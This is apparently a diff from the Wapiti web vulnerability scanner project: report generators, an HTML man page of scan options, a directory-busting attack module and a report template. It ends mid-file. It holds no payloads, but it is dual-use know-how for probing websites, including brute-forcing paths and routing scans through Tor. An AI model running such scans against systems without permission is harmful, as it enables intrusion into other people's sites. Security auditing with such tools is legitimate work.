from wapitiCore.language.language import _
from wapitiCore.report.reportgenerator import ReportGenerator
NB_COLUMNS = 80
# TODO: should use more the python format mini-language
# http://docs.python.org/2/library/string.html#format-specification-mini-language
def center(s):
if len(s) >= NB_COLUMNS:
return s
return s.rjust(len(s) + int((NB_COLUMNS - len(s)) / 2.0))
def title(s):
return "{0}\n{1}\n".format(s, "-" * len(s.strip()))
separator = ("*" * NB_COLUMNS) + "\n"
class TXTReportGenerator(ReportGenerator):
"""
This class generates a Wapiti report in TXT format.
"""
def __init__(self):
super().__init__()
self._flaw_types = {}
self._vulns = {}
self._anomalies = {}
def generate_report(self, output_path):
"""
Create a TXT file encoded as UTF-8 with a report of the vulnerabilities which have been logged with
the methods add_vulnerability and add_anomaly.
"""
fd = codecs.open(output_path, mode="w", encoding="UTF-8")
try:
fd.write(separator)
fd.write(center("{0} - wapiti.sourceforge.net\n".format(self._infos["version"])))
fd.write(center(_("Report for {0}\n").format(self._infos["target"])))
fd.write(center(_("Date of the scan : {0}\n").format(self._infos["date"])))
if "scope" in self._infos:
fd.write(center(_("Scope of the scan : {0}\n").format(self._infos["scope"])))
fd.write(separator)
fd.write("\n")
fd.write(title(_("Summary of vulnerabilities :")))
for name in self._vulns:
fd.write(_("{0} : {1:>3}\n").format(name, len(self._vulns[name])).rjust(NB_COLUMNS))
fd.write(separator)
for name in self._vulns:
if self._vulns[name]:
fd.write("\n")
fd.write(title(name))
for vuln in self._vulns[name]:
fd.write(vuln["info"])
fd.write("\n")
# f.write("Involved parameter : {0}\n".format(vuln["parameter"]))
fd.write(_("Evil request:\n"))
fd.write(vuln["request"].http_repr())
fd.write("\n")
fd.write(_("cURL command PoC : \"{0}\"").format(vuln["request"].curl_repr))
fd.write("\n\n")
fd.write(center("* * *\n\n"))
fd.write(separator)
fd.write("\n")
fd.write(title(_("Summary of anomalies :")))
for name in self._anomalies:
fd.write(_("{0} : {1:>3}\n").format(name, len(self._anomalies[name])).rjust(NB_COLUMNS))
fd.write(separator)
for name in self._anomalies:
if self._anomalies[name]:
fd.write("\n")
fd.write(title(name))
for anom in self._anomalies[name]:
fd.write(anom["info"])
fd.write("\n")
fd.write(_("Evil request:\n"))
fd.write(anom["request"].http_repr())
fd.write("\n\n")
fd.write(center("* * *\n\n"))
fd.write(separator)
finally:
fd.close()
# Vulnerabilities
def add_vulnerability_type(self, name, description="", solution="", references=None):
"""
This method adds a vulnerability type, it can be invoked to include in the
report the type.
The types are not stored previously, they are added when the method
add_vulnerability(category,level,url,parameter,info) is invoked
and if there is no vulnerability of a type, this type will not be presented
in the report
"""
if name not in self._flaw_types:
self._flaw_types[name] = {
"desc": description,
"sol": solution,
"ref": references
}
if name not in self._vulns:
self._vulns[name] = []
def add_vulnerability(self, category=None, level=0, request=None, parameter="", info=""):
"""
Store the information about the vulnerability to be printed later.
The method printToFile(fileName) can be used to save in a file the
vulnerabilities notified through the current method.
"""
if category not in self._vulns:
self._vulns[category] = []
self._vulns[category].append(
{
"level": level,
"request": request,
"parameter": parameter,
"info": info
}
)
# Anomalies
def add_anomaly_type(self, name, description="", solution="", references=None):
if name not in self._flaw_types:
self._flaw_types[name] = {
"desc": description,
"sol": solution,
"ref": references
}
if name not in self._anomalies:
self._anomalies[name] = []
def add_anomaly(self, category=None, level=0, request=None, parameter="", info=""):
"""
Store the information about the vulnerability to be printed later.
The method printToFile(fileName) can be used to save in a file the
vulnerabilities notified through the current method.
"""
anom_dict = {
"request": request,
"info": info,
"level": level,
"parameter": parameter,
}
if category not in self._anomalies:
self._anomalies[category] = []
self._anomalies[category].append(anom_dict)

View File

@ -0,0 +1,420 @@
<!DOCTYPE html>
<html>
<head>
<meta http-equiv='content-type' value='text/html;charset=utf8'>
<meta name='generator' value='Ronn/v0.7.3 (http://github.com/rtomayko/ronn/tree/0.7.3)'>
<title>wapiti(1) - A web application vulnerability scanner in Python</title>
<style type='text/css' media='all'>
/* style: man */
body#manpage {margin:0}
.mp {max-width:100ex;padding:0 9ex 1ex 4ex}
.mp p,.mp pre,.mp ul,.mp ol,.mp dl {margin:0 0 20px 0}
.mp h2 {margin:10px 0 0 0}
.mp > p,.mp > pre,.mp > ul,.mp > ol,.mp > dl {margin-left:8ex}
.mp h3 {margin:0 0 0 4ex}
.mp dt {margin:0;clear:left}
.mp dt.flush {float:left;width:8ex}
.mp dd {margin:0 0 0 9ex}
.mp h1,.mp h2,.mp h3,.mp h4 {clear:left}
.mp pre {margin-bottom:20px}
.mp pre+h2,.mp pre+h3 {margin-top:22px}
.mp h2+pre,.mp h3+pre {margin-top:5px}
.mp img {display:block;margin:auto}
.mp h1.man-title {display:none}
.mp,.mp code,.mp pre,.mp tt,.mp kbd,.mp samp,.mp h3,.mp h4 {font-family:monospace;font-size:14px;line-height:1.42857142857143}
.mp h2 {font-size:16px;line-height:1.25}
.mp h1 {font-size:20px;line-height:2}
.mp {text-align:justify;background:#fff}
.mp,.mp code,.mp pre,.mp pre code,.mp tt,.mp kbd,.mp samp {color:#131211}
.mp h1,.mp h2,.mp h3,.mp h4 {color:#030201}
.mp u {text-decoration:underline}
.mp code,.mp strong,.mp b {font-weight:bold;color:#131211}
.mp em,.mp var {font-style:italic;color:#232221;text-decoration:none}
.mp a,.mp a:link,.mp a:hover,.mp a code,.mp a pre,.mp a tt,.mp a kbd,.mp a samp {color:#0000ff}
.mp b.man-ref {font-weight:normal;color:#434241}
.mp pre {padding:0 4ex}
.mp pre code {font-weight:normal;color:#434241}
.mp h2+pre,h3+pre {padding-left:0}
ol.man-decor,ol.man-decor li {margin:3px 0 10px 0;padding:0;float:left;width:33%;list-style-type:none;text-transform:uppercase;color:#999;letter-spacing:1px}
ol.man-decor {width:100%}
ol.man-decor li.tl {text-align:left}
ol.man-decor li.tc {text-align:center;letter-spacing:4px}
ol.man-decor li.tr {text-align:right;float:right}
</style>
<style type='text/css' media='all'>
/* style: toc */
.man-navigation {display:block !important;position:fixed;top:0;left:113ex;height:100%;width:100%;padding:48px 0 0 0;border-left:1px solid #dbdbdb;background:#eee}
.man-navigation a,.man-navigation a:hover,.man-navigation a:link,.man-navigation a:visited {display:block;margin:0;padding:5px 2px 5px 30px;color:#999;text-decoration:none}
.man-navigation a:hover {color:#111;text-decoration:underline}
</style>
</head>
<!--
The following styles are deprecated and will be removed at some point:
div#man, div#man ol.man, div#man ol.head, div#man ol.man.
The .man-page, .man-decor, .man-head, .man-foot, .man-title, and
.man-navigation should be used instead.
-->
<body id='manpage'>
<div class='mp' id='man'>
<div class='man-navigation' style='display:none'>
<a href="#NAME">NAME</a>
<a href="#SYNOPSIS">SYNOPSIS</a>
<a href="#DESCRIPTION">DESCRIPTION</a>
<a href="#OPTIONS-SUMMARY">OPTIONS SUMMARY</a>
<a href="#TARGET-SPECIFICATION">TARGET SPECIFICATION</a>
<a href="#ATTACK-SPECIFICATION">ATTACK SPECIFICATION</a>
<a href="#PROXY-AND-AUTHENTICATION-OPTIONS">PROXY AND AUTHENTICATION OPTIONS</a>
<a href="#SESSION-OPTIONS">SESSION OPTIONS</a>
<a href="#SCAN-AND-ATTACKS-TUNING">SCAN AND ATTACKS TUNING</a>
<a href="#HTTP-AND-NETWORK-OPTIONS">HTTP AND NETWORK OPTIONS</a>
<a href="#OUTPUT-OPTIONS">OUTPUT OPTIONS</a>
<a href="#REPORT-OPTIONS">REPORT OPTIONS</a>
<a href="#OTHER-OPTIONS">OTHER OPTIONS</a>
<a href="#LICENSE">LICENSE</a>
<a href="#COPYRIGHT">COPYRIGHT</a>
<a href="#AUTHORS">AUTHORS</a>
<a href="#WEBSITE">WEBSITE</a>
<a href="#BUG-REPORTS">BUG REPORTS</a>
<a href="#SEE-ALSO">SEE ALSO</a>
</div>
<ol class='man-decor man-head man head'>
<li class='tl'>wapiti(1)</li>
<li class='tc'></li>
<li class='tr'>wapiti(1)</li>
</ol>
<h2 id="NAME">NAME</h2>
<p class="man-name">
<code>wapiti</code> - <span class="man-whatis">A web application vulnerability scanner in Python</span>
</p>
<h2 id="SYNOPSIS">SYNOPSIS</h2>
<p><code>wapiti</code> -u <var>BASE_URL</var> [options]</p>
<h2 id="DESCRIPTION">DESCRIPTION</h2>
<p>Wapiti allows you to audit the security of your web applications.</p>
<p>It performs "black-box" scans, i.e. it does not study the source code of the application but will scans the webpages of the deployed webapp, looking for scripts and forms where it can inject data.</p>
<p>Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see if a script is vulnerable.</p>
<p>Wapiti is useful only to discover vulnerabilities : it is not an exploitation tools. Some well known applications can be used for the exploitation part like the recommanded sqlmap.</p>
<h2 id="OPTIONS-SUMMARY">OPTIONS SUMMARY</h2>
<p>Here is a summary of options. It is essentially what you will get when you launch Wapiti without any argument.
More detail on each option can be found in the following sections.</p>
<p>TARGET SPECIFICATION:</p>
<ul>
<li><code>-u</code> <var>URL</var></li>
<li><code>--scope</code> {page,folder,domain,url}</li>
</ul>
<p>ATTACK SPECIFICATION:</p>
<ul>
<li><code>-m</code> <var>MODULES_LIST</var></li>
<li><code>--list-modules</code></li>
<li><code>-l</code> <var>LEVEL</var></li>
</ul>
<p>PROXY AND AUTHENTICATION OPTIONS:</p>
<ul>
<li><code>-p</code> <var>PROXY_URL</var></li>
<li><code>-a</code> <var>CREDENTIALS</var></li>
<li><code>--auth-type</code> {basic,digest,kerberos,ntlm}</li>
<li><code>-c</code> <var>COOKIE_FILE</var></li>
</ul>
<p>SESSION OPTIONS:</p>
<ul>
<li><code>--skip-crawl</code></li>
<li><code>--resume-crawl</code></li>
<li><code>--flush-attacks</code></li>
<li><code>--flush-session</code></li>
</ul>
<p>SCAN AND ATTACKS TUNING:</p>
<ul>
<li><code>-s</code> <var>URL</var></li>
<li><code>-x</code> <var>URL</var></li>
<li><code>-r</code> <var>PARAMETER</var></li>
<li><code>--skip</code> <var>PARAMETER</var></li>
<li><code>-d</code> <var>DEPTH</var></li>
<li><code>--max-links-per-page</code> <var>MAX_LINKS_PER_PAGE</var></li>
<li><code>--max-files-per-dir</code> <var>MAX_FILES_PER_DIR</var></li>
<li><code>--max-scan-time</code> <var>MAX_SCAN_TIME</var></li>
<li><code>--max-parameters</code> <var>MAX</var></li>
<li><code>-S</code>, <code>--scan-force</code> {paranoid,sneaky,polite,normal,aggressive,insane}</li>
</ul>
<p>HTTP AND NETWORK OPTIONS:</p>
<ul>
<li><code>-t</code> <var>SECONDS</var></li>
<li><code>-H</code> <var>HEADER</var></li>
<li><code>-A</code> <var>AGENT</var></li>
<li> <code>--verify-ssl</code> {0,1}</li>
</ul>
<p>OUTPUT OPTIONS:</p>
<ul>
<li><code>--color</code></li>
<li><code>-v</code> <var>LEVEL</var></li>
</ul>
<p>REPORT OPTIONS:</p>
<ul>
<li><code>-f</code> {json,html,txt,openvas,vulneranet,xml}</li>
<li><code>-o</code> <var>OUPUT_PATH</var></li>
</ul>
<p>OTHER OPTIONS:</p>
<ul>
<li><code>--no-bugreport</code></li>
<li><code>--version</code></li>
<li><code>-h</code></li>
</ul>
<h2 id="TARGET-SPECIFICATION">TARGET SPECIFICATION</h2>
<ul>
<li><p><code>-u</code>, <code>--url</code> <var>URL</var><br />
The URL that will be used as the base for the scan. Every URL found during the scan will be checked against the base URL and the corresponding scan scope (see --scope for details).<br />
This is the only required argument. The scheme part of the URL must be either http or https.</p></li>
<li><p><code>--scope</code> <var>SCOPE</var><br />
Define the scope of the scan and attacks. Valid choices are :</p>
<ul>
<li>url : will only scan and attack the exact base URL given with -u option</li>
<li>page : will attack every URL matching the path of the base URL (every query string variation)</li>
<li>folder : will scan and attack every URL starting with the base URL value. This base URL should have a trailing slash (no filename)</li>
<li>domain : will scan and attack every URL whose domain name match the one from the base URL.</li>
</ul>
</li>
</ul>
<h2 id="ATTACK-SPECIFICATION">ATTACK SPECIFICATION</h2>
<ul>
<li><p><code>-m</code>, <code>--module</code> <var>MODULE_LIST</var><br />
Set the list of attack modules (modules names separated with commas) to launch against the target.<br />
Default behavior (when the option is not set) is to use the most common modules.<br />
Common modules can also be specified using the "common" keyword.<br />
To launch a scan without launching any attack, just give an empty value (-m "").<br />
You can filter on http methods too (only get or post). For example -m "xss:get,exec:post".</p></li>
<li><p><code>--list-modules</code><br />
Print the list of available Wapiti modules and exit.</p></li>
<li><p><code>-l</code>, <code>--level</code> <var>LEVEL</var><br />
In previous versions Wapiti used to inject attack payloads in query strings even if no parameter was present in the original URL.<br />
While it may be successful in finding vulnerabilities that way, it was causing too many requests for not enough success.<br />
This behavior is now hidden behind this option and can be reactivated by setting -l to 2.<br />
It may be useful on CGIs when developers have to parse the query-string themselves.<br />
Default value for this option is 1.</p></li>
</ul>
<h2 id="PROXY-AND-AUTHENTICATION-OPTIONS">PROXY AND AUTHENTICATION OPTIONS</h2>
<ul>
<li><p><code>-p</code>, <code>--proxy</code> <var>PROXY_URL</var><br />
The given URL will be used as a proxy for HTTP and HTTPS requests. This URL can have one of the following scheme : http, https, socks.<br />
To make Wapiti use a Tor listener you can use --proxy socks://127.0.0.1:9050/</p></li>
<li><p><code>-a</code>, <code>--auth-cred</code> <var>CREDENTIALS</var><br />
Set credentials to use for HTTP authentication on the target.<br />
Given value should be in the form login%password (% is used as a separator)</p></li>
<li><p><code>--auth-type</code> <var>TYPE</var><br />
Set the authentication mechanism to use. Valid choices are basic, digest, kerberos and ntlm.<br />
Kerberos and NTLM authentication may require you to install additionnal Python modules.</p></li>
<li><p><code>-c</code>, <code>--cookie</code> <var>COOKIE_FILE</var><br />
Load cookies from a Wapiti JSON cookie file. See <span class="man-ref">wapiti-getcookie<span class="s">(1)</span></span> for more informations.</p></li>
</ul>
<h2 id="SESSION-OPTIONS">SESSION OPTIONS</h2>
<p>Since Wapiti 3.0.0, scanned URLs, discovered vulnerabilities and attacks status are stored in sqlite3 databases used as Wapiti session files.<br />
Default behavior when a previous scan session exists for the given base URL and scope is to resume the scan and attack status.<br />
Following options allows you to bypass this behavior/</p>
<ul>
<li><p><code>--skip-crawl</code><br />
If a previous scan was performed but wasn't finished, don't resume the scan.
Attack will be made on currently known URLs without scanning more.</p></li>
<li><p><code>--resume-crawl</code><br />
If the crawl was previously stopped and attacks started, default behavior is to skip crawling if the session is restored.<br />
Use this option in order to continue the scan process while keeping vulnerabilities and attacks in the session.</p></li>
<li><p><code>--flush-attacks</code><br />
Forget everything about discovered vulnerabilities and which URL was attacked by which module.<br />
Only the scan (crawling) informations will be kept.</p></li>
<li><p><code>--flush-session</code><br />
Forget everything about the target for the given scope.</p></li>
</ul>
<h2 id="SCAN-AND-ATTACKS-TUNING">SCAN AND ATTACKS TUNING</h2>
<ul>
<li><p><code>-s</code>, <code>--start</code> <var>URL</var><br />
If for some reasons, Wapiti doesn't find any (or enough) URLs from the base URL you can still add URLs to start the scan with.<br />
Those URLs will be given a depth of 0, just like the base URL.<br />
This option can be called several times.<br />
You can also give it a filename and Wapiti will read URLs from the given file (must be UTF-8 encoded), one URL per line.</p></li>
<li><p><code>-x</code>, <code>--exclude</code> <var>URL</var><br />
Prevent the given URL from being scanned. Common use is to exclude the logout URL to prevent the destruction of session cookies (if you specified a cookie file with --cookie).<br />
This option can be applied several times. Excluded URL given as a parameter can contain wildcards for basic pattern matching.</p></li>
<li><p><code>-r</code>, <code>--remove</code> <var>PARAMETER</var><br />
If the given parameter is found in scanned URL it will be automatically removed (URLs are edited).<br />
This option can be used several times.</p></li>
<li><p><code>--skip</code> <var>PARAMETER</var><br />
Given parameter will be kept in URLs and forms but won't be attacked.<br />
Useful if you already know non-vulnerable parameters.</p></li>
<li><p><code>-d</code>, <code>--depth</code> <var>DEPTH</var><br />
When Wapiti crawls a website it gives each found URL a depth value.<br />
The base URL, and additionnal starting URLs (-s) are given a depth of 0.<br />
Each link found in thoses URLs got a depth of 1, and so on.<br />
Default maximum depth is 40 and is very large.<br />
This limit make sure the scan will stop at some time.<br />
For a fast scan a depth inferior to 5 is recommanded.</p></li>
<li><p><code>--max-links-per-page</code> <var>MAX</var><br />
This is another option to be able to reduce the number of URLs discovered by the crawler.<br />
Only the first MAX links of each webpage will be extracted.<br />
This option is not really effective as the same link may appear on different webpages.<br />
It should be useful is rare conditions, for exeample when there is a lot a webpages without query string.</p></li>
<li><p><code>--max-files-per-dir</code> <var>MAX</var><br />
Limit the number of URLs to crawl under each folder found on the webserver.<br />
Note that an URL with a trailing slash in the path is not necessarily a folder with Wapiti will treat it as its is.<br />
Like the previous option it should be useful only in certain situations.</p></li>
<li><p><code>--max-scan-time</code> <var>MINUTES</var><br />
Stop the scan after MINUTES minutes if it is still running.<br />
Should be useful to automatise scanning from another process (continuous testing).</p></li>
<li><p><code>--max-parameters</code> <var>MAX</var><br />
URLs and forms having more than MAX input parameters will be discarded before launching attack modules.</p></li>
<li><p><code>-S</code>, <code>--scan-force</code> <var>FORCE</var><br />
The more input parameters an URL or form have, the more requests Wapiti will send.<br />
The sum of requests can grow rapidly and attacking a form with 40 or more input fields can take a huge ammount of time.<br />
Wapiti use a mathematical formula to reduce the numbers of URLs scanned for a given pattern (same variables names) when
the number of parameters grows.<br />
The formula is <code>maximum_allowed_patterns = 220 / (math.exp(number_of_parameters * factor) ** 2)</code>
where factor is an internal value controller by the <var>FORCE</var> value you give as an option.<br />
Availables choices are : paranoid, sneaky, polite, normal, aggressive, insane.<br />
Default value is normal (147 URLs for 1 parameter, 30 for 5, 5 for 10, 1 for 14 or more).<br />
Insane mode just remove the calculation of thoses limits, every URL will be attacked.<br />
Paranoid mode will attack 30 URLs with 1 parameter, 5 for 2, and just 1 for 3 and more).</p></li>
</ul>
<h2 id="HTTP-AND-NETWORK-OPTIONS">HTTP AND NETWORK OPTIONS</h2>
<ul>
<li><p><code>-t</code>, <code>--timemout</code> <var>SECONDS</var><br />
Time to wait (in seconds) for a HTTP response before considering failure.</p></li>
<li><p><code>-H</code>, <code>--header</code> <var>HEADER</var><br />
Set a custom HTTM header to inject in every request sent by Wapiti.
This option can be used several times.<br />
Value should be a standard HTTP header line (parameter and value separated with a : sign).</p></li>
<li><p><code>-A</code>, <code>--user-agent</code> <var>AGENT</var><br />
Default behavior of Wapiti is to use the same User-Agent as the TorBrowser, making it discreet when crawling standard website or .onion ones.<br />
But you may have to change it to bypass some restrictions so this option is here.</p></li>
<li><p><code>--verify-ssl</code> <var>VALUE</var><br />
Wapiti doesn't care of certificates validation by default. That behavior can be changed by passing 1 as a value to that option.</p></li>
</ul>
<h2 id="OUTPUT-OPTIONS">OUTPUT OPTIONS</h2>
<p>Wapiti prints its status to standard output. The two following options allow to tune the output.</p>
<ul>
<li><p><code>--color</code><br />
Outpout will be colorized based on the severity of the information (red is critical, orange for warnings, green for information).</p></li>
<li><p><code>-v</code>, <code>--verbose</code> <var>LEVEL</var><br />
Set the level of verbosity for the output.
Possible values are quiet (O), normal (1, default behavior) and verbose (2).</p></li>
</ul>
<h2 id="REPORT-OPTIONS">REPORT OPTIONS</h2>
<p>Wapiti will generate a report at the end of the attack process. Several formats of reports are available.</p>
<ul>
<li><p><code>-f</code>, <code>--format</code> <var>FORMAT</var><br />
Set the format of the report. Valid choices are json, html, txt, openvas, vulneranet and xml.<br />
Although the HTML reports were rewritten to be more responsive, they still are impraticable when there is a lot of found vulnerabilities.</p></li>
<li><p><code>-o</code>, <code>--output</code> <var>OUTPUT_PATH</var><br />
Set the path were the report will be generated.</p></li>
</ul>
<h2 id="OTHER-OPTIONS">OTHER OPTIONS</h2>
<ul>
<li><p><code>--version</code><br />
Print Wapiti version then exit.</p></li>
<li><p><code>--no-bugreport</code><br />
If a Wapiti attack module crashes of a non-caught exception a bug report is generated and sent for analysis in order to improve Wapiti reliability. Note that only the content of the report is kept.<br />
You can still prevent reports from being sent using that option.</p></li>
<li><p><code>-h</code>, <code>--help</code><br />
Show detailed options description. More details are available in this manpage though.</p></li>
</ul>
<h2 id="LICENSE">LICENSE</h2>
<p>Wapiti is covered by the GNU General Public License (GPL), version 2.
Please read the COPYING file for more information.</p>
<h2 id="COPYRIGHT">COPYRIGHT</h2>
<p>Copyright (c) 2006-2018 Nicolas Surribas.</p>
<h2 id="AUTHORS">AUTHORS</h2>
<p>Nicolas Surribas is the main author, but the whole list of contributors is found in the separate AUTHORS file.</p>
<h2 id="WEBSITE">WEBSITE</h2>
<p>http://wapiti.sourceforge.net/</p>
<h2 id="BUG-REPORTS">BUG REPORTS</h2>
<p>If you find a bug in Wapiti please report it to https://sourceforge.net/p/wapiti/bugs/</p>
<h2 id="SEE-ALSO">SEE ALSO</h2>
<p>The INSTALL.md file that comes with Wapiti contains every information required to install Wapiti.</p>
<ol class='man-decor man-foot man foot'>
<li class='tl'></li>
<li class='tc'>January 2018</li>
<li class='tr'>wapiti(1)</li>
</ol>
</div>
</body>
</html>

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,6 @@
#!/bin/sh
xgettext --copyright-holder="2009-2018 Nicolas SURRIBAS" --package-name="Wapiti" --package-version="SVN" --from-code=UTF-8 -L Python --no-wrap -d wapiti -o de.po -f file_list.txt -j
xgettext --copyright-holder="2009-2018 Nicolas SURRIBAS" --package-name="Wapiti" --package-version="SVN" --from-code=UTF-8 -L Python --no-wrap -d wapiti -o en.po -f file_list.txt -j
xgettext --copyright-holder="2009-2018 Nicolas SURRIBAS" --package-name="Wapiti" --package-version="SVN" --from-code=UTF-8 -L Python --no-wrap -d wapiti -o es.po -f file_list.txt -j
xgettext --copyright-holder="2009-2018 Nicolas SURRIBAS" --package-name="Wapiti" --package-version="SVN" --from-code=UTF-8 -L Python --no-wrap -d wapiti -o fr.po -f file_list.txt -j
xgettext --copyright-holder="2009-2018 Nicolas SURRIBAS" --package-name="Wapiti" --package-version="SVN" --from-code=UTF-8 -L Python --no-wrap -d wapiti -o ms.po -f file_list.txt -j

View File

@ -0,0 +1,20 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2017-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
parser_name = "html5lib"

View File

@ -0,0 +1,109 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2014-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from requests.exceptions import Timeout, ConnectionError
from wapitiCore.attack.attack import Attack
from wapitiCore.net import web
class mod_buster(Attack):
"""
This class implements a file and directory buster"
"""
PAYLOADS_FILE = "busterPayloads.txt"
name = "buster"
do_get = False
do_post = False
def __init__(self, crawler, persister, logger, attack_options):
Attack.__init__(self, crawler, persister, logger, attack_options)
self.known_dirs = []
self.known_pages = []
self.new_resources = []
def test_directory(self, path: str):
if self.verbose == 2:
print("[¨] Testing directory {0}".format(path))
test_page = web.Request(path + "does_n0t_exist.htm")
try:
response = self.crawler.send(test_page)
if response.status not in [403, 404]:
# we don't want to deal with this at the moment
return
for candidate, flags in self.payloads:
url = path + candidate
if url not in self.known_dirs and url not in self.known_pages and url not in self.new_resources:
page = web.Request(path + candidate)
try:
response = self.crawler.send(page)
if response.redirection_url:
loc = response.redirection_url
# if loc in self.known_dirs or loc in self.known_pages:
# continue
if response.is_directory_redirection:
self.log_red("Found webpage {0}", loc)
self.new_resources.append(loc)
else:
self.log_red("Found webpage {0}", page.path)
self.new_resources.append(page.path)
elif response.status not in [403, 404]:
self.log_red("Found webpage {0}", page.path)
self.new_resources.append(page.path)
except Timeout:
continue
except ConnectionError:
continue
except Timeout:
pass
def attack(self):
urls = self.persister.get_links(attack_module=self.name) if self.do_get else []
# First we make a list of uniq webdirs and webpages without parameters
for resource in urls:
path = resource.path
if path.endswith("/"):
if path not in self.known_dirs:
self.known_dirs.append(path)
else:
if path not in self.known_pages:
self.known_pages.append(path)
# Then for each known webdirs we look for unknown webpages inside
for current_dir in self.known_dirs:
self.test_directory(current_dir)
yield
# Finally, for each discovered webdirs we look for more webpages
while self.new_resources:
current_res = self.new_resources.pop(0)
if current_res.endswith("/"):
# Mark as known then explore
self.known_dirs.append(current_res)
self.test_directory(current_res)
yield
else:
self.known_pages.append(current_res)

Binary file not shown.

After

Width:  |  Height:  |  Size: 44 KiB

View File

@ -0,0 +1,139 @@
<!DOCTYPE html>
<html>
<head>
<title>Wapiti scan report</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="css/kube.min.css" />
<link rel="stylesheet" type="text/css" href="css/master.css" />
</head>
<body>
<div id="page">
<header style="text-align: center">
<h2 class="title" style="text-align: center">Wapiti vulnerability report</h2>
<h3>Target: ${target}</h3>
<p>Date of the scan: ${scan_date}. Scope of the scan: ${scan_scope}</p>
</header>
<hr />
<h4>Summary</h4>
<table class="width-100 hovered" style="background: url('logo_clear.png') no-repeat center;">
<thead>
<tr>
<th>Category</th>
<th>Number of vulnerabilities found</th>
</tr>
</thead>
<tbody id="summary">
% for i, vuln_name in enumerate(vulnerabilities):
<tr>
<td class="small">
% if len(vulnerabilities[vuln_name]):
<a href="#vuln_type_${i}">${vuln_name}</a>
% else:
${vuln_name}
% endif
</td>
<td class="small .text-centered">${len(vulnerabilities[vuln_name])}</td>
</tr>
% endfor
% for i, anomaly_name in enumerate(anomalies):
<tr>
<td class="small">
% if len(anomalies[anomaly_name]):
<a href="#anom_type_${i}">${anomaly_name}</a>
% else:
${anomaly_name}
% endif
</td>
<td class="small .text-centered">${len(anomalies[anomaly_name])}</td>
</tr>
% endfor
</tbody>
</table>
<hr />
<div id="details">
% for i, vuln_name in enumerate(vulnerabilities):
% if len(vulnerabilities[vuln_name]):
<h3 id="vuln_type_${i}">${vuln_name}</h3>
<dl>
<dt>Description</dt>
<dd>${flaws[vuln_name]["desc"] | h}</dd>
</dl>
% for j, vulnerability in enumerate(vulnerabilities[vuln_name]):
<h4>Vulnerability found in ${vulnerability["path"] | h}</h4>
<nav class="tabs" data-component="tabs" data-equals="true" data-height="equal">
<ul>
<li class="active"><a href="#tab-vuln-${i}-${j}-1">Description</a></li>
<li><a href="#tab-vuln-${i}-${j}-2">HTTP Request</a></li>
<li><a href="#tab-vuln-${i}-${j}-3">cURL command line</a></li>
</ul>
</nav>
<div id="tab-vuln-${i}-${j}-1" style="min-height: 124px;">
<pre>${vulnerability["info"] | h}</pre>
</div>
<div id="tab-vuln-${i}-${j}-2" style="min-height: 124px;">
<pre>${vulnerability["http_request"] | h}</pre>
</div>
<div id="tab-vuln-${i}-${j}-3" style="min-height: 124px;">
<pre>${vulnerability["curl_command"] | h}</pre>
</div>
% endfor
<dl><dt>Solutions</dt><dd>${flaws[vuln_name]["sol"]}</dd></dl>
<h5>References</h5>
<ul>
% for ref_name, ref_url in flaws[vuln_name]["ref"].items():
<li><a href="${ref_url}">${ref_name | h}</a></li>
% endfor
</ul>
<br />
<hr>
% endif
% endfor
% for i, anomaly_name in enumerate(anomalies):
% if len(anomalies[anomaly_name]):
<h3 id="anom_type_${i}">${anomaly_name}</h3>
<dl>
<dt>Description</dt>
<dd>${flaws[anomaly_name]["desc"] | h}</dd>
</dl>
% for j, anomaly in enumerate(anomalies[anomaly_name]):
<h4>Anomaly found in ${anomaly["path"] | h}</h4>
<nav class="tabs" data-component="tabs" data-equals="true">
<ul>
<li class="active"><a href="#tab-anom-${i}-${j}-1">Description</a></li>
<li><a href="#tab-anom-${i}-${j}-2">HTTP Request</a></li>
<li><a href="#tab-anom-${i}-${j}-3">cURL command line</a></li>
</ul>
</nav>
<div id="tab-anom-${i}-${j}-1" style="min-height: 124px;">
<pre>${anomaly["info"] | h}</pre>
</div>
<div id="tab-anom-${i}-${j}-2" style="min-height: 124px;">
<pre>${anomaly["http_request"] | h}</pre>
</div>
<div id="tab-anom-${i}-${j}-3" style="min-height: 124px;">
<pre>${anomaly["curl_command"] | h}</pre>
</div>
% endfor
<dl><dt>Solutions</dt><dd>${flaws[anomaly_name]["sol"]}</dd></dl>
<h5>References</h5>
<ul>
% for ref_name, ref_url in flaws[anomaly_name]["ref"].items():
<li><a href="${ref_url}">${ref_name | h}</a></li>
% endfor
</ul>
<br />
<hr>
% endif
% endfor
</div>
<footer class="small" id="footer"><a href="http://wapiti.sf.net/" id="wapiti_link">${wapiti_version}</a> &copy; Nicolas SURRIBAS 2006-2018</footer>
</div>
<script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>
<script type="text/javascript" src="js/kube.min.js"></script>
</body>
</html>

View File

@ -0,0 +1,291 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
